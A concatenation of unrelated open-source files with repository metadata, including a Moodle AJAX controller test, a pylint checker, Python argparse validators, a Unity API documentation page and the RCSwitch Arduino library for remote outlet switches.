sinavGozetmen = (SinavGozetmen) value; return "" + sinavGozetmen.getRID(); } else { throw new IllegalArgumentException("object:" + value + " of type:" + value.getClass().getName() + "; expected type: SinavGozetmen Model"); } } } // class
TMMOB-BMO/TOYS
Toys/JavaSource/tr/com/arf/toys/view/converter/egitim/SinavGozetmenConverter.java
Java
gpl-3.0
1,450
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. use report_analytics\ajax_controller; defined('MOODLE_INTERNAL') || die(); global $CFG; require_once($CFG->dirroot . '/report/analytics/tests/report_analytics_testcase.php'); /** * Test class for: ajax_controller.php * * @package report_analytics * @copyright 2015 Craig Jamieson * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class report_analytics_ajax_controller_testcase extends report_analytics_testcase { /** * Test perform_request() when no sesskey given. */ public function test_perform_request_badsesskey_exception() { $this->login_user($this->users[0]); $_POST = array('courseid' => $this->courseid, 'filters' => '', 'sesskey' => 'badsesskey'); $controller = new ajax_controller(); $request = 'get_chart_data'; $this->setExpectedException('Exception', get_string('badsesskey', 'report_analytics')); $controller->perform_request($request); } /** * Test valid requests for perform_request(). */ public function test_perform_request() { $this->login_admin_user(); // Test 1: get_chart_data. $_POST = array('courseid' => $this->courseid, 'filters' => '', 'sesskey' => sesskey(), 'graphtype' => 'activitychart'); $controller = new ajax_controller(); $request = 'get_chart_data'; ob_start(); $controller->perform_request($request); $this->assertEquals(json_decode(ob_get_contents())->result, true); ob_clean(); // Test 2: add_graph. $_POST = array('courseid' => $this->courseid, 'filters' => '', 'sesskey' => sesskey(), 'graphtype' => 'activitychart'); $request = 'add_graph'; $controller->perform_request($request); $this->assertEquals(json_decode(ob_get_contents())->result, true); ob_clean(); // Test 3: get_mods(). $_POST = array('courseid' => $this->courseid, 'sesskey' => sesskey(), 'type' => 'section', 'data' => 'Topic 1'); $request = 'get_mods'; $controller->perform_request($request); $cmids = array(); foreach ($this->activities as $a) { $cmids[] = $a->cmid; } $this->assertEquals(json_decode(ob_get_contents())->message, $cmids); ob_end_clean(); } /** * Test the save_criteria() request - returns true on success. */ public function test_perform_request_save_criteria() { $this->login_admin_user(); $_POST = array('courseid' => $this->courseid, 'filters' => 'dummy', 'userids' => 2, 'sesskey' => sesskey()); $controller = new ajax_controller(); $request = 'save_criteria'; ob_start(); $controller->perform_request($request); $this->assertEquals(json_decode(ob_get_contents())->result, true); ob_end_clean(); } }
cjamieso/moodle313
report/analytics/tests/ajax_controller_test.php
PHP
gpl-3.0
3,549
\geometry { papersize = { 130mm , 184mm } , lines = 25 , hmargin = 15mm , bindingoffset = 5mm , headheight = 10pt , headsep = \baselineskip , includehead = true , vcentering = true }
cmhughes/latexindent.pl
test-cases/alignment/issue-326a.tex
TeX
gpl-3.0
243
"""checker for unnecessary indexing in a loop. """ from typing import List, Optional, Tuple, Union import astroid from astroid import nodes from pylint.checkers import BaseChecker from pylint.checkers.utils import check_messages from pylint.interfaces import IAstroidChecker class UnnecessaryIndexingChecker(BaseChecker): __implements__ = IAstroidChecker # name is the same as file name but without _checker part name = "unnecessary_indexing" # use dashes for connecting words in message symbol msgs = { "E9994": ( "For loop variable `%s` can be simplified by looping over the elements directly, " "for example, `for my_variable in %s`.", "unnecessary-indexing", "Used when you have an loop variable in a for loop " "where its only usage is to index the iterable", ) } # this is important so that your checker is executed before others priority = -1 # pass in message symbol as a parameter of check_messages @check_messages("unnecessary-indexing") def visit_for(self, node: nodes.For) -> None: # Check if the iterable of the for loop is of the form "range(len(<variable-name>))". iterable = _iterable_if_range(node.iter) if iterable is not None and _is_unnecessary_indexing(node): args = node.target.name, iterable self.add_message("unnecessary-indexing", node=node.target, args=args) # Helper functions def _is_unnecessary_indexing(node: nodes.For) -> bool: """Return whether the iteration variable in the for loop is ONLY used to index the iterable. True if unnecessary usage, False otherwise or if iteration variable not used at all. """ index_nodes = _index_name_nodes(node.target.name, node) return all(_is_redundant(index_node, node) for index_node in index_nodes) and index_nodes def _iterable_if_range(node: nodes.NodeNG) -> Optional[str]: """Return the iterable's name if this node is in "range" form, or None otherwise. Check for three forms: - range(len(<variable-name>)) - range(0, len(<variable-name>)) - range(0, len(<variable-name>), 1) """ # Check outer function call is range if ( not isinstance(node, nodes.Call) or not isinstance(node.func, nodes.Name) or not node.func.name == "range" ): return None # Check arguments to range if len(node.args) > 1: # Check that args[0] == Const(0) arg1 = node.args[0] if not isinstance(arg1, nodes.Const) or arg1.value != 0: return None if len(node.args) == 3 and ( not isinstance(node.args[2], nodes.Const) or node.args[2].value != 1 ): return None # Finally, check 'stop' argument is of the form len(<variable-name>). if len(node.args) == 1: stop_arg = node.args[0] else: stop_arg = node.args[1] if ( isinstance(stop_arg, nodes.Call) and isinstance(stop_arg.func, nodes.Name) and stop_arg.func.name == "len" and len(stop_arg.args) == 1 and isinstance(stop_arg.args[0], nodes.Name) ): return stop_arg.args[0].name def _is_load_subscript(index_node: nodes.Name, for_node: nodes.For) -> bool: """Return whether or not <index_node> is used to subscript the iterable of <for_node> and the subscript item is being loaded from, e.g., s += iterable[index_node]. NOTE: Index node is deprecated in Python 3.9 Returns True if the following conditions are met: (3.9) - The <index_node> Name node is inside of a Subscript node - The item that is being indexed is the iterable of the for loop - The Subscript node is being used in a load context (3.8) - The <index_node> Name node is inside of an Index node - The Index node is inside of a Subscript node - The item that is being indexed is the iterable of the for loop - The Subscript node is being used in a load context """ iterable = _iterable_if_range(for_node.iter) return ( isinstance(index_node.parent, nodes.Subscript) and isinstance(index_node.parent.value, nodes.Name) and index_node.parent.value.name == iterable and index_node.parent.ctx == astroid.Load ) def _is_redundant(index_node: Union[nodes.AssignName, nodes.Name], for_node: nodes.For) -> bool: """Return whether or not <index_node> is redundant in <for_node>. The lookup method is used in case the original loop variable is shadowed in the for loop's body. """ _, assignments = index_node.lookup(index_node.name) if not assignments: return False elif isinstance(index_node, nodes.AssignName): return assignments[0] != for_node.target else: # isinstance(index_node, nodes.Name) return assignments[0] != for_node.target or _is_load_subscript(index_node, for_node) def _index_name_nodes(index: str, for_node: nodes.For) -> List[Union[nodes.AssignName, nodes.Name]]: """Return a list of <index> AssignName and Name nodes contained in the body of <for_node>. Remove uses of variables that shadow <index>. """ scope = for_node.scope() return [ name_node for name_node in for_node.nodes_of_class((nodes.AssignName, nodes.Name)) if name_node.name == index and name_node != for_node.target and name_node.lookup(name_node.name)[0] == scope ] def register(linter): linter.register_checker(UnnecessaryIndexingChecker(linter))
pyta-uoft/pyta
python_ta/checkers/unnecessary_indexing_checker.py
Python
gpl-3.0
5,590
<?php $fuits = [ 'uva', 'banana', 'caju', ]; asort($fuits); var_dump($fuits);
caioblima/phpzce-code-guide
arrays/code/src/asort.php
PHP
gpl-3.0
89
package Utiles; /** * Esta clase permite crear JPanel al ser instanciada desde otra * @author Raúl Caro Pastorino <Fryntiz www.fryntiz.es> */ import java.awt.Color; import javax.swing.BorderFactory; import javax.swing.JLabel; import javax.swing.JPanel; public class ClaseJPanel extends JPanel { JLabel jlabel; public ClaseJPanel() { initComponentes(); } private void initComponentes() { jlabel = new JLabel("Soy un JLabel"); this.add(jlabel); //Añadido al panel this.setBorder(BorderFactory.createLineBorder(Color.BLUE)); } }
fryntiz/java
Aprendiendo/GUI/src/Utiles/ClaseJPanel.java
Java
gpl-3.0
600
#! /usr/bin/env python import os import argparse from pymsbayes.fileio import expand_path from pymsbayes.config import MsBayesConfig from pymsbayes.utils.functions import is_file, is_dir, is_executable class SmartHelpFormatter(argparse.HelpFormatter): ''' A class to allow customizable line breaks for an argument help message on a per argument basis. ''' def _split_lines(self, text, width): if text.startswith('r|'): return text[2:].splitlines() return argparse.HelpFormatter._split_lines(self, text, width) def arg_is_path(path): try: if not os.path.exists(path): raise except: msg = 'path {0!r} does not exist'.format(path) raise argparse.ArgumentTypeError(msg) return expand_path(path) def arg_is_file(path): try: if not is_file(path): raise except: msg = '{0!r} is not a file'.format(path) raise argparse.ArgumentTypeError(msg) return expand_path(path) def arg_is_config(path): try: if not MsBayesConfig.is_config(path): raise except: msg = '{0!r} is not an msBayes config file'.format(path) raise argparse.ArgumentTypeError(msg) return expand_path(path) def arg_is_dir(path): try: if not is_dir(path): raise except: msg = '{0!r} is not a directory'.format(path) raise argparse.ArgumentTypeError(msg) return expand_path(path) def arg_is_executable(path): try: p = ToolPathManager.get_external_tool(path) if not p: raise except: msg = '{0!r} is not an executable'.format(path) raise argparse.ArgumentTypeError(msg) return p def arg_is_nonnegative_int(i): try: if int(i) < 0: raise except: msg = '{0!r} is not a non-negative integer'.format(i) raise argparse.ArgumentTypeError(msg) return int(i) def arg_is_positive_int(i): try: if int(i) < 1: raise except: msg = '{0!r} is not a positive integer'.format(i) raise argparse.ArgumentTypeError(msg) return int(i) def arg_is_positive_float(i): try: if float(i) <= 0.0: raise except: msg = '{0!r} is not a positive real number'.format(i) raise argparse.ArgumentTypeError(msg) return float(i) def get_sort_index_help_message(): return ( '''r|The sorting index used by `dpp-msbayes.pl`/`msbayes.pl` and `obsSumStats.pl` scripts to determine how the summary statistic vectors calculated from the alignments of the observed and simulated data are to be grouped and sorted. The default is %(default)s. 0: Do not group or sort. The identity and order of the summary statistics of each alignment are maintained and compared when calculating Euclidean distance. 1-7: **NOTE**, options 1-7 all re-sort the summary statistics in some way, and thus compare the statistics from *different* alignments when calculating the Euclidean distance. This is not valid and these options should *NOT* be used. They are maintained for backwards compatibility with the original msBayes. 8-11: All of these options group the summary statistics from multiple loci by taxon and then calculate moments of each statistic across the loci for each taxon, and then use these moments to calculate Euclidean distance. The order of the taxa is maintained, and so this is valid, but you are losing a lot of information contained in your loci by simply taking the mean (option 11) across them. If you have A LOT of loci, this sacrifice might be necessary to reduce the number of summary statistics. **NOTE**, options 8-10 are NOT well tested. 8: Use the first 4 moments (mean, variance, skewness, and kurtosis) of each statistic. 9: Use the first 3 moments (mean, variance, and skewness) of each statistic. 10: Use the first 2 moments (mean and variance) of each statistic. 11: Use the first 1 moment (mean) of each statistic.''' )
joaks1/PyMsBayes
pymsbayes/utils/argparse_utils.py
Python
gpl-3.0
4,193
<!DOCTYPE html> <html lang="en" class="no-js"> <head> <meta charset="utf-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Unity - Scripting API: Texture3D.SetPixels</title> <meta name="description" content="Develop once, publish everywhere! Unity is the ultimate tool for video game development, architectural visualizations, and interactive media installations - publish to the web, Windows, OS X, Wii, Xbox 360, and iPhone with many more platforms to come." /> <meta name="author" content="Unity Technologies" /> <link rel="shortcut icon" href="../StaticFiles/images/favicons/favicon.ico" /> <link rel="icon" type="image/png" href="../StaticFiles/images/favicons/favicon.png" /> <link rel="apple-touch-icon-precomposed" sizes="152x152" href="../StaticFiles/images/favicons/apple-touch-icon-152x152.png" /> <link rel="apple-touch-icon-precomposed" sizes="144x144" href="../StaticFiles/images/favicons/apple-touch-icon-144x144.png" /> <link rel="apple-touch-icon-precomposed" sizes="120x120" href="../StaticFiles/images/favicons/apple-touch-icon-120x120.png" /> <link rel="apple-touch-icon-precomposed" sizes="114x114" href="../StaticFiles/images/favicons/apple-touch-icon-114x114.png" /> <link rel="apple-touch-icon-precomposed" sizes="72x72" href="../StaticFiles/images/favicons/apple-touch-icon-72x72.png" /> <link rel="apple-touch-icon-precomposed" href="../StaticFiles/images/favicons/apple-touch-icon.png" /> <meta name="msapplication-TileColor" content="#222c37" /> <meta name="msapplication-TileImage" content="../StaticFiles/images/favicons/tileicon-144x144.png" /> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-2854981-1']); _gaq.push(['_setDomainName', 'unity3d.com']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> <script type="text/javascript" src="../StaticFiles/js/jquery.js"> </script> <script type="text/javascript" src="docdata/toc.js">//toc</script> <!--local TOC--> <script type="text/javascript" src="docdata/global_toc.js">//toc</script> <!--global TOC, including other platforms--> <script type="text/javascript" src="../StaticFiles/js/core.js"> </script> <link href="http://fonts.googleapis.com/css?family=Open+Sans:400,700,400italic" rel="stylesheet" type="text/css" /> <link rel="stylesheet" type="text/css" href="../StaticFiles/css/core.css" /> </head> <body> <div class="header-wrapper"> <div id="header" class="header"> <div class="content"> <div class="spacer"> <div class="menu"> <div class="logo"> <a href="http://docs.unity3d.com"> </a> </div> <div class="search-form"> <form action="30_search.html" method="get" class="apisearch"> <input type="text" name="q" placeholder="Search scripting..." autosave="Unity Reference" results="5" class="sbox field" id="q"> </input> <input type="submit" class="submit"> </input> </form> </div> <ul> <li> <a href="http://docs.unity3d.com">Overview</a> </li> <li> <a href="../Manual/index.html">Manual</a> </li> <li> <a href="../ScriptReference/index.html" class="selected">Scripting API</a> </li> </ul> </div> </div> <div class="more"> <div class="filler"> </div> <ul> <li> <a href="http://unity3d.com/">unity3d.com</a> </li> </ul> </div> </div> </div> <div class="toolbar"> <div class="content clear"> <div class="lang-switcher hide"> <div class="current toggle" data-target=".lang-list"> <div class="lbl">Language: <span class="b">English</span></div> <div class="arrow"> </div> </div> <div class="lang-list" style="display:none;"> <ul> <li> <a href="">English</a> </li> </ul> </div> </div> <div class="script-lang"> <ul> <li class="selected" data-lang="CS">C#</li> <li data-lang="JS">JS</li> </ul> <div id="script-lang-dialog" class="dialog hide"> <div class="dialog-content clear"> <h2>Script language</h2> <div class="close"> </div> <p class="clear">Select your preferred scripting language. All code snippets will be displayed in this language.</p> </div> </div> </div> </div> </div> </div> <div id="master-wrapper" class="master-wrapper clear"> <div id="sidebar" class="sidebar"> <div class="sidebar-wrap"> <div class="content"> <div class="sidebar-menu"> <div class="toc"> <h2>Scripting API</h2> </div> </div> <p> <a href="40_history.html" class="cw">History</a> </p> </div> </div> </div> <div id="content-wrap" class="content-wrap"> <div class="content-block"> <div class="content"> <div class="section"> <div class="mb20 clear"> <h1 class="heading inherit"> <a href="Texture3D.html">Texture3D</a>.SetPixels</h1> <div class="clear"> </div> <div class="clear"> </div> <div class="suggest"> <a class="blue-btn sbtn">Suggest a change</a> <div class="suggest-wrap rel hide"> <div class="loading hide"> <div> </div> <div> </div> <div> </div> </div> <div class="suggest-success hide"> <h2>Success!</h2> <p>Thank you for helping us improve the quality of Unity Documentation. Although we cannot accept all submissions, we do read each suggested change from our users and will make updates where applicable.</p> <a class="gray-btn sbtn close">Close</a> </div> <div class="suggest-failed hide"> <h2>Sumbission failed</h2> <p>For some reason your suggested change could not be submitted. Please <a>try again</a> in a few minutes. And thank you for taking the time to help us improve the quality of Unity Documentation.</p> <a class="gray-btn sbtn close">Close</a> </div> <div class="suggest-form clear"> <label for="suggest_name">Your name</label> <input id="suggest_name" type="text"> </input> <label for="suggest_email">Your email</label> <input id="suggest_email" type="email"> </input> <label for="suggest_body" class="clear">Suggestion <span class="r">*</span></label> <textarea id="suggest_body" class="req"> </textarea> <button id="suggest_submit" class="blue-btn mr10">Submit suggestion</button> <p class="mb0"> <a class="cancel left lh42 cn">Cancel</a> </p> </div> </div> </div> <a href='../Manual/class-Texture3D.html' title='Go to Texture3D Component in the Manual' class='switch-link gray-btn sbtn left show'>Switch to Manual</a> <div class="clear"> </div> </div> <div class="subsection"> <div class="signature"> <div class="signature-JS sig-block">public function <span class="sig-kw">SetPixels</span>(<span class="sig-kw">colors</span>: Color[], <span class="sig-kw">miplevel</span>: int = 0): void; </div> <div class="signature-CS sig-block">public void <span class="sig-kw">SetPixels</span>(Color[] <span class="sig-kw">colors</span>, int <span class="sig-kw">miplevel</span> = 0); </div> </div> </div> <div class="subsection"> <h2>Parameters</h2> <table class="list"> <tr> <td class="name lbl">colors</td> <td class="desc">The colors to set the pixels to.</td> </tr> <tr> <td class="name lbl">miplevel</td> <td class="desc">The mipmap level to be affected by the new colors.</td> </tr> </table> </div> <div class="subsection"> <h2>Description</h2> <p>Sets pixel colors of a 3D texture.</p> </div> <div class="subsection"> <p>This function takes a color array and changes the pixel colors of the 3D texture. Call <a href="Texture3D.Apply.html">Apply</a> to actually upload the changed.</p> </div> </div> <div class="footer-wrapper"> <div class="footer clear"> <div class="copy">Copyright © 2014 Unity Technologies</div> <div class="menu"> <a href="http://unity3d.com/learn">Learn</a> <a href="http://unity3d.com/community">Community</a> <a href="http://unity3d.com/asset-store">Asset Store</a> <a href="https://store.unity3d.com">Buy</a> <a href="http://unity3d.com/unity/download">Download</a> </div> </div> </div> </div> </div> </div> </div> </body> </html>
rakuten/Uinty3D-Docs-zhcn
ScriptReference/Texture3D.SetPixels.html
HTML
gpl-3.0
11,074
/* * ItemNotFoundException.java * * Copyright (C) 2013 * * This file is part of Open Geoportal Harvester * * This software is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the Free * Software Foundation; either version 2 of the License, or (at your option) any * later version. * * This software is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this library; if not, write to the Free Software Foundation, Inc., 51 * Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * As a special exception, if you link this library with other files to produce * an executable, this library does not by itself cause the resulting executable * to be covered by the GNU General Public License. This exception does not * however invalidate any other reasons why the executable file might be covered * by the GNU General Public License. * * Authors:: Juan Luis Rodriguez Ponce (mailto:juanluisrp@geocat.net) */ package org.opengeoportal.harvester.mvc.exception; import org.springframework.http.HttpStatus; import org.springframework.web.bind.annotation.ResponseStatus; /** * @author jlrodriguez * */ @ResponseStatus(value = HttpStatus.NOT_FOUND, reason = "The REST element you requested can not be found") public class ItemNotFoundException extends RuntimeException { private static final long serialVersionUID = -5831721681171462413L; /** * */ public ItemNotFoundException() { } /** * @param message */ public ItemNotFoundException(String message) { super(message); } /** * @param cause */ public ItemNotFoundException(Throwable cause) { super(cause); } /** * @param message * @param cause */ public ItemNotFoundException(String message, Throwable cause) { super(message, cause); } }
OpenGeoportal/ogpHarvester
web/src/main/java/org/opengeoportal/harvester/mvc/exception/ItemNotFoundException.java
Java
gpl-3.0
2,097
/* RCSwitch - Arduino libary for remote control outlet switches Copyright (c) 2011 Suat Özgür. All right reserved. Contributors: - Andre Koehler / info(at)tomate-online(dot)de - Gordeev Andrey Vladimirovich / gordeev(at)openpyro(dot)com - Skineffect / http://forum.ardumote.com/viewtopic.php?f=2&t=46 - Dominik Fischer / dom_fischer(at)web(dot)de - Frank Oltmanns / <first name>.<last name>(at)gmail(dot)com - Andreas Steinel / A.<lastname>(at)gmail(dot)com - Max Horn / max(at)quendi(dot)de - Robert ter Vehn / <first name>.<last name>(at)gmail(dot)com - Johann Richard / <first name>.<last name>(at)gmail(dot)com - Vlad Gheorghe / <first name>.<last name>(at)gmail(dot)com https://github.com/vgheo Project home: https://github.com/sui77/rc-switch/ This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #include "RCSwitch.h" /* Format for protocol definitions: * {pulselength, Sync bit, "0" bit, "1" bit} * * pulselength: pulse length in microseconds, e.g. 350 * Sync bit: {1, 31} means 1 high pulse and 31 low pulses * (perceived as a 31*pulselength long pulse, total length of sync bit is * 32*pulselength microseconds), i.e: * _ * | |_______________________________ (don't count the vertical bars) * "0" bit: waveform for a data bit of value "0", {1, 3} means 1 high pulse * and 3 low pulses, total length (1+3)*pulselength, i.e: * _ * | |___ * "1" bit: waveform for a data bit of value "1", e.g. {3,1}: * ___ * | |_ * * These are combined to form Tri-State bits when sending or receiving codes. */ static const RCSwitch::Protocol PROGMEM proto[] = { { 350, { 1, 31 }, { 1, 3 }, { 3, 1 } }, // protocol 1 { 650, { 1, 10 }, { 1, 2 }, { 2, 1 } }, // protocol 2 { 100, { 30, 71 }, { 4, 11 }, { 9, 6 } }, // protocol 3 { 380, { 1, 6 }, { 1, 3 }, { 3, 1 } }, // protocol 4 { 500, { 6, 14 }, { 1, 2 }, { 2, 1 } }, // protocol 5 }; static const int numProto = sizeof(proto) / sizeof(proto[0]); #if not defined( RCSwitchDisableReceiving ) unsigned long RCSwitch::nReceivedValue = 0; unsigned int RCSwitch::nReceivedBitlength = 0; unsigned int RCSwitch::nReceivedDelay = 0; unsigned int RCSwitch::nReceivedProtocol = 0; int RCSwitch::nReceiveTolerance = 60; const unsigned int RCSwitch::nSeparationLimit = 4600; // separationLimit: minimum microseconds between received codes, closer codes are ignored. // according to discussion on issue #14 it might be more suitable to set the separation // limit to the same time as the 'low' part of the sync signal for the current protocol. unsigned int RCSwitch::timings[RCSWITCH_MAX_CHANGES]; #endif RCSwitch::RCSwitch() : virtualGroveConnector() { this->nTransmitterPin = -1; this->setRepeatTransmit(10); this->setProtocol(1); #if not defined( RCSwitchDisableReceiving ) this->nReceiverInterrupt = -1; this->setReceiveTolerance(60); RCSwitch::nReceivedValue = 0; #endif } /** * Sets the protocol to send. */ void RCSwitch::setProtocol(Protocol protocol) { this->protocol = protocol; } /** * Sets the protocol to send, from a list of predefined protocols */ void RCSwitch::setProtocol(int nProtocol) { if (nProtocol < 1 || nProtocol > numProto) { nProtocol = 1; // TODO: trigger an error, e.g. "bad protocol" ??? } memcpy_P(&this->protocol, &proto[nProtocol-1], sizeof(Protocol)); } /** * Sets the protocol to send with pulse length in microseconds. */ void RCSwitch::setProtocol(int nProtocol, int nPulseLength) { setProtocol(nProtocol); this->setPulseLength(nPulseLength); } /** * Sets pulse length in microseconds */ void RCSwitch::setPulseLength(int nPulseLength) { this->protocol.pulseLength = nPulseLength; } /** * Sets Repeat Transmits */ void RCSwitch::setRepeatTransmit(int nRepeatTransmit) { this->nRepeatTransmit = nRepeatTransmit; } /** * Set Receiving Tolerance */ #if not defined( RCSwitchDisableReceiving ) void RCSwitch::setReceiveTolerance(int nPercent) { RCSwitch::nReceiveTolerance = nPercent; } #endif /** * Enable transmissions * * @param nTransmitterPin Arduino Pin to which the sender is connected to */ void RCSwitch::enableTransmit(int nTransmitterPin) { this->nTransmitterPin = nTransmitterPin; pinMode(this->nTransmitterPin, OUTPUT); } /** * Disable transmissions */ void RCSwitch::disableTransmit() { this->nTransmitterPin = -1; } /** * Switch a remote switch on (Type D REV) * * @param sGroup Code of the switch group (A,B,C,D) * @param nDevice Number of the switch itself (1..3) */ void RCSwitch::switchOn(char sGroup, int nDevice) { this->sendTriState( this->getCodeWordD(sGroup, nDevice, true) ); } /** * Switch a remote switch off (Type D REV) * * @param sGroup Code of the switch group (A,B,C,D) * @param nDevice Number of the switch itself (1..3) */ void RCSwitch::switchOff(char sGroup, int nDevice) { this->sendTriState( this->getCodeWordD(sGroup, nDevice, false) ); } /** * Switch a remote switch on (Type C Intertechno) * * @param sFamily Familycode (a..f) * @param nGroup Number of group (1..4) * @param nDevice Number of device (1..4) */ void RCSwitch::switchOn(char sFamily, int nGroup, int nDevice) { this->sendTriState( this->getCodeWordC(sFamily, nGroup, nDevice, true) ); } /** * Switch a remote switch off (Type C Intertechno) * * @param sFamily Familycode (a..f) * @param nGroup Number of group (1..4) * @param nDevice Number of device (1..4) */ void RCSwitch::switchOff(char sFamily, int nGroup, int nDevice) { this->sendTriState( this->getCodeWordC(sFamily, nGroup, nDevice, false) ); } /** * Switch a remote switch on (Type B with two rotary/sliding switches) * * @param nAddressCode Number of the switch group (1..4) * @param nChannelCode Number of the switch itself (1..4) */ void RCSwitch::switchOn(int nAddressCode, int nChannelCode) { this->sendTriState( this->getCodeWordB(nAddressCode, nChannelCode, true) ); } /** * Switch a remote switch off (Type B with two rotary/sliding switches) * * @param nAddressCode Number of the switch group (1..4) * @param nChannelCode Number of the switch itself (1..4) */ void RCSwitch::switchOff(int nAddressCode, int nChannelCode) { this->sendTriState( this->getCodeWordB(nAddressCode, nChannelCode, false) ); } /** * Deprecated, use switchOn(const char* sGroup, const char* sDevice) instead! * Switch a remote switch on (Type A with 10 pole DIP switches) * * @param sGroup Code of the switch group (refers to DIP switches 1..5 where "1" = on and "0" = off, if all DIP switches are on it's "11111") * @param nChannelCode Number of the switch itself (1..5) */ void RCSwitch::switchOn(const char* sGroup, int nChannel) { const char* code[6] = { "00000", "10000", "01000", "00100", "00010", "00001" }; this->switchOn(sGroup, code[nChannel]); } /** * Deprecated, use switchOff(const char* sGroup, const char* sDevice) instead! * Switch a remote switch off (Type A with 10 pole DIP switches) * * @param sGroup Code of the switch group (refers to DIP switches 1..5 where "1" = on and "0" = off, if all DIP switches are on it's "11111") * @param nChannelCode Number of the switch itself (1..5) */ void RCSwitch::switchOff(const char* sGroup, int nChannel) { const char* code[6] = { "00000", "10000", "01000", "00100", "00010", "00001" }; this->switchOff(sGroup, code[nChannel]); } /** * Switch a remote switch on (Type A with 10 pole DIP switches) * * @param sGroup Code of the switch group (refers to DIP switches 1..5 where "1" = on and "0" = off, if all DIP switches are on it's "11111") * @param sDevice Code of the switch device (refers to DIP switches 6..10 (A..E) where "1" = on and "0" = off, if all DIP switches are on it's "11111") */ void RCSwitch::switchOn(const char* sGroup, const char* sDevice) { this->sendTriState( this->getCodeWordA(sGroup, sDevice, true) ); } /** * Switch a remote switch off (Type A with 10 pole DIP switches) * * @param sGroup Code of the switch group (refers to DIP switches 1..5 where "1" = on and "0" = off, if all DIP switches are on it's "11111") * @param sDevice Code of the switch device (refers to DIP switches 6..10 (A..E) where "1" = on and "0" = off, if all DIP switches are on it's "11111") */ void RCSwitch::switchOff(const char* sGroup, const char* sDevice) { this->sendTriState( this->getCodeWordA(sGroup, sDevice, false) ); } /** * Returns a char[13], representing the code word to be sent. * A code word consists of 9 address bits, 3 data bits and one sync bit but * in our case only the first 8 address bits and the last 2 data bits were used. * A code bit can have 4 different states: "F" (floating), "0" (low), "1" (high), "S" (sync bit) * * +-----------------------------+-----------------------------+----------+----------+--------------+----------+ * | 4 bits address | 4 bits address | 1 bit | 1 bit | 2 bits | 1 bit | * | switch group | switch number | not used | not used | on / off | sync bit | * | 1=0FFF 2=F0FF 3=FF0F 4=FFF0 | 1=0FFF 2=F0FF 3=FF0F 4=FFF0 | F | F | on=FF off=F0 | S | * +-----------------------------+-----------------------------+----------+----------+--------------+----------+ * * @param nAddressCode Number of the switch group (1..4) * @param nChannelCode Number of the switch itself (1..4) * @param bStatus Whether to switch on (true) or off (false) * * @return char[13] */ char* RCSwitch::getCodeWordB(int nAddressCode, int nChannelCode, boolean bStatus) { int nReturnPos = 0; static char sReturn[13]; const char* code[5] = { "FFFF", "0FFF", "F0FF", "FF0F", "FFF0" }; if (nAddressCode < 1 || nAddressCode > 4 || nChannelCode < 1 || nChannelCode > 4) { return '\0'; } for (int i = 0; i<4; i++) { sReturn[nReturnPos++] = code[nAddressCode][i]; } for (int i = 0; i<4; i++) { sReturn[nReturnPos++] = code[nChannelCode][i]; } sReturn[nReturnPos++] = 'F'; sReturn[nReturnPos++] = 'F'; sReturn[nReturnPos++] = 'F'; if (bStatus) { sReturn[nReturnPos++] = 'F'; } else { sReturn[nReturnPos++] = '0'; } sReturn[nReturnPos] = '\0'; return sReturn; } /** * Returns a char[13], representing the code word to be send. * */ char* RCSwitch::getCodeWordA(const char* sGroup, const char* sDevice, boolean bOn) { static char sDipSwitches[13]; int i = 0; int j = 0; for (i = 0; i < 5; i++) { sDipSwitches[j++] = (sGroup[i] == '0') ? 'F' : '0'; } for (i = 0; i < 5; i++) { sDipSwitches[j++] = (sDevice[i] == '0') ? 'F' : '0'; } if (bOn) { sDipSwitches[j++] = '0'; sDipSwitches[j++] = 'F'; } else { sDipSwitches[j++] = 'F'; sDipSwitches[j++] = '0'; } sDipSwitches[j] = '\0'; return sDipSwitches; } /** * Like getCodeWord (Type C = Intertechno) */ char* RCSwitch::getCodeWordC(char sFamily, int nGroup, int nDevice, boolean bStatus) { static char sReturn[13]; int nReturnPos = 0; if ( (byte)sFamily < 97 || (byte)sFamily > 112 || nGroup < 1 || nGroup > 4 || nDevice < 1 || nDevice > 4) { return '\0'; } const char* sDeviceGroupCode = dec2binWcharfill( (nDevice-1) + (nGroup-1)*4, 4, '0' ); const char familycode[16][5] = { "0000", "F000", "0F00", "FF00", "00F0", "F0F0", "0FF0", "FFF0", "000F", "F00F", "0F0F", "FF0F", "00FF", "F0FF", "0FFF", "FFFF" }; for (int i = 0; i<4; i++) { sReturn[nReturnPos++] = familycode[ (int)sFamily - 97 ][i]; } for (int i = 0; i<4; i++) { sReturn[nReturnPos++] = (sDeviceGroupCode[3-i] == '1' ? 'F' : '0'); } sReturn[nReturnPos++] = '0'; sReturn[nReturnPos++] = 'F'; sReturn[nReturnPos++] = 'F'; if (bStatus) { sReturn[nReturnPos++] = 'F'; } else { sReturn[nReturnPos++] = '0'; } sReturn[nReturnPos] = '\0'; return sReturn; } /** 